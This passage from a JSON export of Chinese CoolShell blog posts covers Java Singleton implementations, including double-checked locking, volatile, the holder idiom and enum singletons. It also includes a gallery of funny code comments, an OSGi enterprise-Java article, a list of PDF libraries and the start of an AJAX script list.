    "content": "---\nlayout: post\ntitle: 深入浅出单实例Singleton设计模式\ndate: 2009/3/26/ 8:4:43\nupdated: 2009/3/26/ 8:4:43\nstatus: publish\npublished: true\ntype: post\n---\n\n单实例Singleton设计模式可能是被讨论和使用的最广泛的一个设计模式了，这可能也是面试中问得最多的一个设计模式了。这个设计模式主要目的是想在整个系统中只能出现一个类的实例。这样做当然是有必然的，比如你的软件的全局配置信息，或者是一个Factory，或是一个主控类，等等。你希望这个类在整个系统中只能出现一个实例。当然，作为一个技术负责人的你，你当然有权利通过使用非技术的手段来达到你的目的。比如：你在团队内部明文规定，“XX类只能有一个全局实例，如果某人使用两次以上，那么该人将被处于2000元的罚款！”（呵呵），你当然有权这么做。但是如果你的设计的是东西是一个类库，或是一个需要提供给用户使用的API，恐怕你的这项规定将会失效。因为，你无权要求别人会那么做。所以，这就是为什么，我们希望通过使用技术的手段来达成这样一个目的的原因。\n\n\n本文会带着你深入整个Singleton的世界，当然，我会放弃使用C++语言而改用Java语言，因为使用Java这个语言可能更容易让我说明一些事情。\n\n\n#### \n**Singleton的教学版本**\n\n\n这里，我将直接给出一个Singleton的简单实现，因为我相信你已经有这方面的一些基础了。我们姑且把这个版本叫做1.0版\n\n\n\n```\n// version 1.0\npublic class Singleton {\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            singleton= new Singleton();\n        }\n        return singleton;\n    }\n}\n```\n\n在上面的实例中，我想说明下面几个Singleton的特点：（下面这些东西可能是尽人皆知的，没有什么新鲜的）\n\n\n1. 私有（private）的构造函数，表明这个类是不可能形成实例了。这主要是怕这个类会有多个实例。\n2. 即然这个类是不可能形成实例，那么，我们需要一个静态的方式让其形成实例：getInstance()。注意这个方法是在new自己，因为其可以访问私有的构造函数，所以他是可以保证实例被创建出来的。\n3. 在getInstance()中，先做判断是否已形成实例，如果已形成则直接返回，否则创建实例。\n4. 所形成的实例保存在自己类中的私有成员中。\n5. 我们取实例时，只需要使用Singleton.getInstance()就行了。\n\n\n当然，如果你觉得知道了上面这些事情后就学成了，那得给你当头棒喝一下了，事情远远没有那么简单。\n\n\n#### **Singleton的实际版本**\n\n\n上面的这个程序存在比较严重的问题，因为是全局性的实例，所以，在多线程情况下，所有的全局共享的东西都会变得非常的危险，这个也一样，在多线程情况下，如果多个线程同时调用getInstance()的话，那么，可能会有多个进程同时通过 (singleton== null)的条件检查，于是，多个实例就创建出来，并且很可能造成内存泄露问题。嗯，熟悉多线程的你一定会说——“我们需要线程互斥或同步”，没错，我们需要这个事情，于是我们的Singleton升级成1.1版，如下所示：\n\n\n\n```\n// version 1.1\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            synchronized (Singleton.class) {\n                singleton= new Singleton();\n            }\n        }\n        return singleton;\n    }\n}\n```\n\n嗯，使用了Java的synchronized方法，看起来不错哦。应该没有问题了吧？！错！这还是有问题！为什么呢？前面已经说过，如果有多个线程同时通过(singleton== null)的条件检查（因为他们并行运行），虽然我们的synchronized方法会帮助我们同步所有的线程，让我们并行线程变成串行的一个一个去new，那不还是一样的吗？同样会出现很多实例。嗯，确实如此！看来，还得把那个判断(singleton== null)条件也同步起来。于是，我们的Singleton再次升级成1.2版本，如下所示：\n\n\n\n```\n// version 1.2\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {  }\n    public static Singleton getInstance()  {\n        synchronized (Singleton.class) {\n            if (singleton== null) {\n\t\tsingleton= new Singleton();\n            }\n         }\n        return singleton;\n    }\n}\n```\n\n不错不错，看似很不错了。在多线程下应该没有什么问题了，不是吗？的确是这样的，1.2版的Singleton在多线程下的确没有问题了，因为我们同步了所有的线程。只不过嘛……，什么？！还不行？！是的，还是有点小问题，我们本来只是想让new这个操作并行就可以了，现在，只要是进入getInstance()的线程都得同步啊，注意，创建对象的动作只有一次，后面的动作全是读取那个成员变量，这些读取的动作不需要线程同步啊。这样的作法感觉非常极端啊，为了一个初始化的创建动作，居然让我们达上了所有的读操作，严重影响后续的性能啊！\n\n\n还得改！嗯，看来，在线程同步前还得加一个(singleton== null)的条件判断，如果对象已经创建了，那么就不需要线程的同步了。OK，下面是1.3版的Singleton。\n\n\n\n```\n// version 1.3\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance() {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    }\n}\n```\n\n感觉代码开始变得有点罗嗦和复杂了，不过，这可能是最不错的一个版本了，这个版本又叫“双重检查”Double-Check。下面是说明：\n\n\n1. 第一个条件是说，如果实例创建了，那就不需要同步了，直接返回就好了。\n2. 不然，我们就开始同步线程。\n3. 第二个条件是说，如果被同步的线程中，有一个线程创建了对象，那么别的线程就不用再创建了。\n\n\n相当不错啊，干得非常漂亮！请大家为我们的1.3版起立鼓掌！\n\n\n但是，如果你认为这个版本大攻告成，你就错了。\n\n\n主要在于**singleton `= new Singleton()`**这句，这并非是一个原子操作，事实上在 JVM 中这句话大概做了下面 3 件事情。\n\n\n1. 给 singleton 分配内存\n2. 调用 Singleton 的构造函数来初始化成员变量，形成实例\n3. 将singleton对象指向分配的内存空间（执行完这步 singleton才是非 null 了）\n\n\n但是在 JVM 的即时编译器中存在指令重排序的优化。也就是说上面的第二步和第三步的顺序是不能保证的，最终的执行顺序可能是 1-2-3 也可能是 1-3-2。如果是后者，则在 3 执行完毕、2 未执行之前，被线程二抢占了，这时 instance 已经是非 null 了（但却没有初始化），所以线程二会直接返回 instance，然后使用，然后顺理成章地报错。\n\n\n对此，我们只需要把singleton声明成 volatile 就可以了。下面是1.4版：\n\n\n\n```\n// version 1.4\npublic class Singleton\n{\n    private volatile static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    }\n}\n```\n\n使用 volatile 有两个功用：\n\n\n1）这个变量不会在多个线程中存在复本，直接从内存读取。\n\n\n2）这个关键字会禁止指令重排序优化。也就是说，在 volatile 变量的赋值操作后面会有一个内存屏障（生成的汇编代码上），读操作不会被重排序到内存屏障之前。\n\n\n但是，这个事情仅在Java 1.5版后有用，1.5版之前用这个变量也有问题，因为老版本的Java的内存模型是有缺陷的。\n\n\n#### **Singleton 的简化版本**\n\n\n上面的玩法实在是太复杂了，一点也不优雅，下面是一种更为优雅的方式：\n\n\n这种方法非常简单，因为单例的实例被声明成 static 和 final 变量了，在第一次加载类到内存中时就会初始化，所以创建实例本身是线程安全的。\n\n\n\n```\n// version 1.5\npublic class Singleton\n{\n    private volatile static Singleton singleton = new Singleton();\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        return singleton;\n    }\n}\n```\n\n但是，这种玩法的最大问题是——当这个类被加载的时候，new Singleton() 这句话就会被执行，就算是getInstance()没有被调用，类也被初始化了。\n\n\n于是，**这个可能会与我们想要的行为不一样，比如，我的类的构造函数中，有一些事可能需要依赖于别的类干的一些事（比如某个配置文件，或是某个被其它类创建的资源），我们希望他能在我第一次getInstance()时才被真正的创建。这样，我们可以控制真正的类创建的时刻，而不是把类的创建委托给了类装载器**。\n\n\n好吧，我们还得绕一下：\n\n\n下面的这个1.6版是老版《Effective Java》中推荐的方式。\n\n\n\n```\n// version 1.6\npublic class Singleton {\n    private static class SingletonHolder {\n        private static final Singleton INSTANCE = new Singleton();\n    }\n    private Singleton (){}\n    public static final Singleton getInstance() {\n        return SingletonHolder.INSTANCE;\n    }\n}\n```\n\n上面这种方式，仍然使用JVM本身机制保证了线程安全问题；由于 SingletonHolder 是私有的，除了 getInstance() 之外没有办法访问它，因此它只有在getInstance()被调用时才会真正创建；同时读取实例的时候不会进行同步，没有性能缺陷；也不依赖 JDK 版本。\n\n\n#### **Singleton 优雅**版本\n\n\n\n```\npublic enum Singleton{\n   INSTANCE;\n}\n```\n\n居然用枚举！！看上去好牛逼，通过EasySingleton.INSTANCE来访问，这比调用getInstance()方法简单多了。\n\n\n默认枚举实例的创建是线程安全的，所以不需要担心线程安全的问题。但是在枚举中的其他任何方法的线程安全由程序员自己负责。还有防止上面的通过反射机制调用私用构造器。\n\n\n**这个版本基本上消除了绝大多数的问题。代码也非常简单，实在无法不用。这也是新版的《Effective Java》中推荐的模式。**\n\n\n#### **Singleton的其它问题**\n\n\n怎么？还有问题？！当然还有，请记住下面这条规则——“**无论你的代码写得有多好，其只能在特定的范围内工作，超出这个范围就要出Bug了**”，这是“陈式第一定理”，呵呵。你能想一想还有什么情况会让这个我们上面的代码出问题吗？\n\n\n在C++下，我不是很好举例，但是在Java的环境下，嘿嘿，还是让我们来看看下面的一些反例和一些别的事情的讨论（**当然，有些反例可能属于钻牛角尖，可能有点学院派，不过也不排除其实际可能性，就算是提个醒吧**）：\n\n\n**其一、Class Loader**。不知道你对Java的Class Loader熟悉吗？“类装载器”？！C++可没有这个东西啊。这是Java动态性的核心。顾名思义，类装载器是用来把类(class)装载进JVM的。JVM规范定义了两种类型的类装载器：启动内装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 在一个JVM中可能存在多个ClassLoader，每个ClassLoader拥有自己的NameSpace。一个ClassLoader只能拥有一个class对象类型的实例，但是不同的ClassLoader可能拥有相同的class对象实例，这时可能产生致命的问题。如ClassLoaderA，装载了类A的类型实例A1，而ClassLoaderB，也装载了类A的对象实例A2。逻辑上讲A1=A2，但是由于A1和A2来自于不同的ClassLoader，它们实际上是完全不同的，如果A中定义了一个静态变量c，则c在不同的ClassLoader中的值是不同的。\n\n\n于是，如果咱们的Singleton 1.3版本如果面对着多个Class Loader会怎么样？呵呵，多个实例同样会被多个Class Loader创建出来，当然，这个有点牵强，不过他确实存在。难道我们还要整出个1.4版吗？可是，我们怎么可能在我的Singleton类中操作Class Loader啊？是的，你根本不可能。在这种情况下，你能做的只有是——“保证多个Class Loader不会装载同一个Singleton”。\n\n\n**其二、序例化。**如果我们的这个Singleton类是一个关于我们程序配置信息的类。我们需要它有序列化的功能，那么，当反序列化的时候，我们将无法控制别人不多次反序列化。不过，我们可以利用一下Serializable接口的readResolve()方法，比如：\n\n\n\n```\npublic class Singleton implements Serializable\n{\n    ......\n    ......\n    protected Object readResolve()\n    {\n        return getInstance();\n    }\n}\n```\n\n**其三、多个Java虚拟机。**如果我们的程序运行在多个Java的虚拟机中。什么？多个虚拟机？这是一种什么样的情况啊。嗯，这种情况是有点极端，不过还是可能出现，比如EJB或RMI之流的东西。要在这种环境下避免多实例，看来只能通过良好的设计或非技术来解决了。\n\n\n**其四，volatile变量。**关于volatile这个关键字所声明的变量可以被看作是一种 “程度较轻的同步synchronized”；与 synchronized 块相比，volatile 变量所需的编码较少，并且运行时开销也较少，但是它所能实现的功能也仅是synchronized的一部分。当然，如前面所述，我们需要的Singleton只是在创建的时候线程同步，而后面的读取则不需要同步。所以，volatile变量并不能帮助我们即能解决问题，又有好的性能。而且，这种变量只能在JDK 1.5+版后才能使用。\n\n\n**其五、关于继承。**是的，继承于Singleton后的子类也有可能造成多实例的问题。不过，因为我们早把Singleton的构造函数声明成了私有的，所以也就杜绝了继承这种事情。\n\n\n**其六，关于代码重用。**也话我们的系统中有很多个类需要用到这个模式，如果我们在每一个类都中有这样的代码，那么就显得有点傻了。那么，我们是否可以使用一种方法，把这具模式抽象出去？在C++下这是很容易的，因为有模板和友元，还支持栈上分配内存，所以比较容易一些（程序如下所示），Java下可能比较复杂一些，聪明的你知道怎么做吗？\n\n\n\n```\ntemplate class Singleton\n{\n    public:\n        static T& Instance()\n        {\n            static T theSingleInstance; //假设T有一个protected默认构造函数\n            return theSingleInstance;\n        }\n};\n\nclass OnlyOne : public Singleton\n{\n    friend class Singleton;\n    int example_data;\n\n    public:\n        int GetExampleData() const {return example_data;}\n    protected:\n        OnlyOne(): example_data(42) {}   // 默认构造函数\n        OnlyOne(OnlyOne&) {}\n};\n\nint main( )\n{\n    cout << OnlyOne::Instance().GetExampleData() << endl;\n\treturn 0;\n}\n\n```\n\n \n\n\n**(****转载时请注明作者和出处。未经许可，请勿用于商业用途)**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [深入浅出单实例Singleton设计模式](https://coolshell.cn/articles/265.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-26 雷人的程序注释.md",
    "content": "---\nlayout: post\ntitle: 雷人的程序注释\ndate: 2009/3/26/ 16:58:43\nupdated: 2009/3/26/ 16:58:43\nstatus: publish\npublished: true\ntype: post\n---\n\n\n使用[Google code search](http://www.google.com/codesearch)可以搜索到一些比较有趣的代码注释，呵呵。下面的这些程序注释有搞笑的，也有粗口，看来写程序本来也不是一件很枯燥的事，关键看你的心态如何了。读到这些注释的时候，只能想到一个词，那就是“疯狂的程序员”，哈哈。Have a Fun  ;-)\n\n\n写个程序时不忘表达自己的感情，以免以后忘了。\n\n\n[![fcomment15](../wp-content/uploads/2009/03/fcomment15.gif \"fcomment15\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment15.gif)\n\n\n\n呵呵，看来自己也不是很自信。\n\n\n[![fcomment1](../wp-content/uploads/2009/03/fcomment1.gif \"fcomment1\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif)\n\n\n到处都是dragon啊。\n\n\n[![fcomment2](../wp-content/uploads/2009/03/fcomment2.gif \"fcomment2\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment2.gif)[![fcomment3](../wp-content/uploads/2009/03/fcomment3.gif \"fcomment3\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment3.gif)[![fcomment4](../wp-content/uploads/2009/03/fcomment4.gif \"fcomment4\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment4.gif)[![fcomment5](../wp-content/uploads/2009/03/fcomment5.gif \"fcomment5\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment5.gif)\n\n\n 又是一个愤怒的注释\n\n\n[![fcomment6](../wp-content/uploads/2009/03/fcomment6.gif \"fcomment6\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment6.gif)\n\n\n嗯，我早就告诉过他们……\n\n\n[![fcomment7](../wp-content/uploads/2009/03/fcomment7.gif \"fcomment7\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment7.gif)\n\n\n粗口也上了……\n\n\n[![fcomment8](../wp-content/uploads/2009/03/fcomment8.gif \"fcomment8\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment8.gif)\n\n\n嗯，下面的程序与请别看了……\n\n\n[![fcomment9](../wp-content/uploads/2009/03/fcomment9.gif \"fcomment9\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment9.gif)\n\n\n真是疯狂啊，难道程序员的注释也有枪手或五毛？\n\n\n[![fcomment10](../wp-content/uploads/2009/03/fcomment10.gif \"fcomment10\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment10.gif)[![fcomment11](../wp-content/uploads/2009/03/fcomment11.gif \"fcomment11\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment11.gif)[![fcomment12](../wp-content/uploads/2009/03/fcomment12.gif \"fcomment12\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment12.gif)[![fcomment13](../wp-content/uploads/2009/03/fcomment13.gif \"fcomment13\")](https://coolshell.cn/wp-content/uploads/2009/03/fcomment13.gif)\n\n\n 希望你喜欢哦。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2746.html)[五种应该避免的代码注释](https://coolshell.cn/articles/2746.html)\n* [![Huffman 编码压缩算法](../wp-content/uploads/2012/05/coada2-1-150x150.png)](https://coolshell.cn/articles/7459.html)[Huffman 编码压缩算法](https://coolshell.cn/articles/7459.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/664.html)[使用PHP的cURL库](https://coolshell.cn/articles/664.html)\n* [![编程时间分配图](../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png)](https://coolshell.cn/articles/2990.html)[编程时间分配图](https://coolshell.cn/articles/2990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg](https://coolshell.cn/articles/1174.html)[程序员惯用的解释(Top 25)](https://coolshell.cn/articles/1174.html)\n* [![面试题：赛马问题](../wp-content/uploads/2009/07/Question-150x150.jpg)](https://coolshell.cn/articles/1202.html)[面试题：赛马问题](https://coolshell.cn/articles/1202.html)\nThe post [雷人的程序注释](https://coolshell.cn/articles/290.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-29 OSGi和Java企业级运算的未来方向.md",
    "content": "---\nlayout: post\ntitle: OSGi和Java企业级运算的未来方向\ndate: 2009/3/29/ 7:50:47\nupdated: 2009/3/29/ 7:50:47\nstatus: publish\npublished: true\ntype: post\n---\n\n**摘要**： OSGi也是译者最近才接触到的技术，但是在OSGi的发展中，它越来越收到了来自行业的关注。作为OSGi的动态部署，译者认为此项规范对于企业应用应该是非常有帮助的。特别在银行的信息化建设中将会起到很重要的作用，因为国内大多的银行业都在强调7\\*24小时系统，但是其业务发展又非常迅速，常常有新需求，新变更。如果每一次上线变更都将重启系统的话，对银行的服务质量和形象将会造成较大的影响。 此文只是讲述了OSGi在Java企业运算中的新动向，并没有具体的介绍OSGi的规范。关于OSGi规范的文档可以从jcp上下载\n\n\n原文出处：[这里](http://itknowledgeexchange.techtarget.com/soa-talk/osgi-and-future-directions-for-enterprise-java/)  \n\n\n\n\n**OSGi和Java企业级运算的未来方向**\n\n\nby Eric Newcomer\n\n\n无论JCP是否完全的迷失了它的方向，它都不同程度受到来自外部活动的影响。Spring框架和Hibernate影响了EJB3，而且JPA也是一个好的例子。另外日渐感觉到的影响来自于对OSGi规范的采用和其实现，特别是实现了OSGi的开源的Eclipse Equinox，Apache Felix和Knoplerfish框架\n\n\n\nOSGi规范为Java定义动态模组元信息系统和在其交互模组中的面向服务的编程模型。这个规范定义了一个为服务查找的注册表，还定义了一组通用功能集合，例如安全，生命周期管理，日志等。OSGi的框架如今已经被Eclipse基金采用，许多的主要Java厂商采用这个规范来开发中间件产品，同时OSGi也被很多开源项目组采用，包括用来开发应用服务器，企业服务总线，和集成开发环境。\n\n\n作为在商业产品和开源项目中广泛被使用的的核心平台，OSGi联盟开始接收到来自更复杂的的对企业应用的支持需求。在1999年,OSGi规范最初是JSR-8，主要的目的是用于家庭自助网关(home automation gateways)。自从那时起，OSGi技术就被在各种个样自助，移动电话，和家庭娱乐的嵌入应用程序所使用。2006年的8月份，OSGi联盟，接收许多关注于OSGi企业版本的建议并举行一个关于讨论成立一个OSGi企业专家组(EEG）可能性的会议。\n\n\n自从2007年1月第一次会议一来，OSGi企业专家组EEG用了两年时间编写了致力于使OSGi更好支持企业级Java应用的需求细节和设计细节。这个工作的成果是：在2009年年中，将会对OSGi规范有一个主要的更新(两个的草案版本已经发布)，这个修改主要包括扩展了核心框架服务和定义现有存在企业Java技术与OSGi框架的接口以满足业务应用需求的案例。主要的特性包括被称为蓝图服务(Blueprint Service)Spring框架组件模型到OSGi服务模型的映射和分布计算协议到OSGi服务模型的映射, JavaEE映射的关键部分是Web apps,JDBC,JPA,JMX,JTA,JNDI,和JAAS。\n\n\n软件行业已经接受并支持OSGi带来的模组化的好处，下一个改进将会是通过适配已经用于企业运算的Java技术接口，进而对企业级Java应用的支撑。这个目标将帮助OSGi的开发人员更容易的以标准的方式创建企业服务务应用程序。\n\n\nEric Newcomer是分布计算的专家和独立咨询师，Newcomer是OSGi企业专家组的主席，之前他是IONA技术公司的CTO.他在 [blog on OSGi](http://modualrit.blogspot.com/)发布了很多的OSGi的文章\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [OSGi和Java企业级运算的未来方向](https://coolshell.cn/articles/294.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-31 十个最好的PDF生成库.md",
    "content": "---\nlayout: post\ntitle: 十个最好的PDF生成库\ndate: 2009/3/31/ 16:0:23\nupdated: 2009/3/31/ 16:0:23\nstatus: publish\npublished: true\ntype: post\n---\n\n\n1）FPDF\n------\n\n\n<http://www.fpdf.org/>。这是一个纯PHP的库，它没有使用PDFlib。完全免费。没有任何license的限制。\n\n\n[http://www.ajaxline.com/files/logo.gif](http://www.fpdf.org/)\n\n\n 2）iText\n--------\n\n\n<http://www.lowagie.com/iText/>。 这是一个基于Java的库。iText#则是一个基于.NET的库。使用MPL/LGPL的license。\n\n\n[http://www.ajaxline.com/files/ilogo.gif](http://www.lowagie.com/iText/) \n\n\n\n3）AlivePDF\n----------\n\n\n<http://www.alivepdf.org/>。这是基于ActionScripts 3的PDF文件生成库。MIT license。\n\n\n[http://www.ajaxline.com/files/alive.png](http://www.alivepdf.org/) \n\n\n4）Prawn\n-------\n\n\n<http://prawn.majesticseacreature.com/>。这是一个Ruby的PDF文件生成的库。\n\n\n[http://www.ajaxline.com/files/prawn_logo.png](http://prawn.majesticseacreature.com/) \n\n\n5） TCPDF\n--------\n\n\n<http://www.tcpdf.org/>。这又是一个PHP的PDF文件生成库。LGPL license。\n\n\n[http://www.ajaxline.com/files/tcpdf.png](http://www.tcpdf.org/)  \n\n\n6）PDFSharp\n----------\n\n\n<http://pdfsharp.com/PDFsharp/>。基于.NET。\n\n\n[http://www.ajaxline.com/files/PDFsharp.gif](http://pdfsharp.com/PDFsharp/) \n\n\n7）libHaru\n---------\n\n\n<http://libharu.org/wiki/Main_Page>。这是一个跨平台C++的开源的PDF文件生成的库。ZLIB/LIBPNG License\n\n\n[http://www.ajaxline.com/files/haru.png](http://libharu.org/wiki/Main_Page) \n\n\n8）Apache FOP\n------------\n\n\n<http://xmlgraphics.apache.org/fop/>。Java语言，输入支持PDF, PS, PCL, AFP, XML (树形表示), Print, AWT 和PNG格式。\n\n\n[http://www.ajaxline.com/files/fop.jpg](http://xmlgraphics.apache.org/fop/) \n\n\n9）PDF  Clown\n------------\n\n\n<http://www.stefanochizzolini.it/en/projects/clown/>。这是一个基于Java和.NET的开源项目。需要Java 1.5+和C# 2.0。\n\n\n[http://www.ajaxline.com/files/pdfClown.png](http://www.stefanochizzolini.it/en/projects/clown/) \n\n\n10）Reportlab Toolkit\n--------------------\n\n\n<http://www.reportlab.org/rl_toolkit.html>。这是一个基于python的库，包含PDF和XML等解析。\n\n\n文章：[来源](http://www.ajaxline.com/10-best-libraries-for-generating-pdf)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/424.html)[PDF电子书搜索引擎](https://coolshell.cn/articles/424.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/1032.html)[Unix 40年：Unix年鉴](https://coolshell.cn/articles/1032.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1626.html)[ldd 的一个安全问题](https://coolshell.cn/articles/1626.html)\n* [![Windows 7 的新粉丝 Linus Torvalds](../wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg)](https://coolshell.cn/articles/1619.html)[Windows 7 的新粉丝 Linus Torvalds](https://coolshell.cn/articles/1619.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/2109.html)[Python处理encoding的小技巧](https://coolshell.cn/articles/2109.html)\n* [![30+ Web下拉菜单](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg)](https://coolshell.cn/articles/3207.html)[30+ Web下拉菜单](https://coolshell.cn/articles/3207.html)\nThe post [十个最好的PDF生成库](https://coolshell.cn/articles/309.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-7 80个优秀的AJAX方案.md",
    "content": "---\nlayout: post\ntitle: 80个优秀的AJAX方案\ndate: 2009/3/7/ 1:20:20\nupdated: 2009/3/7/ 1:20:20\nstatus: publish\npublished: true\ntype: post\n---\n\nAjax作为一种WEB上的技术，已经广被开发人员接受，在过去的两三年内，互联网上涌现出了很多很多的很有创意的Ajax的解决方案，令人赞叹。这里，介绍了80以上的AJAX用法以及其脚本资源，希望对你的开发有帮助。\n\n\n**Auto Complete Scripts**\n=========================\n\n\n1. [AJAX AutoSuggest](http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-autosuggest1.png \"ajax-autosuggest1\")](http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html)\n\n\n\n2. [AJAX Autocompleter / script.aculo.us library](http://demo.script.aculo.us/ajax/autocompleter_customized)  \n\n[![](../wp-content/uploads/2009/02/ajax-autocompleter-scriptaculous-library.png \"ajax-autocompleter-scriptaculous-library\")](http://demo.script.aculo.us/ajax/autocompleter_customized)\n\n\n3. [AJAX AutoCompleter](http://digitarald.de/playground/auto2.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-autocompleter.png \"ajax-autocompleter\")](http://digitarald.de/playground/auto2.html)\n\n\n4. [Ajax autosuggest/autocomplete from database](http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-autosuggest-autocomplete-from-database.png \"ajax-autosuggest-autocomplete-from-database\")](http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html)\n\n\n5. [Ajax dynamic list](http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list)  \n\n[![](../wp-content/uploads/2009/02/ajax-dynamic-list.png \"ajax-dynamic-list\")](http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list)\n\n\n### **Instant Editor Scripts**\n\n\n6. [AJAX inline text edit 2.0](http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/)  \n\n[![](../wp-content/uploads/2009/02/ajax-inline-text-edit-20.png \"ajax-inline-text-edit-20\")](http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/)\n\n\n7. [AJAX & CSS Flickr-like Editing Fields](http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/)  \n\n[![](../wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields1.png 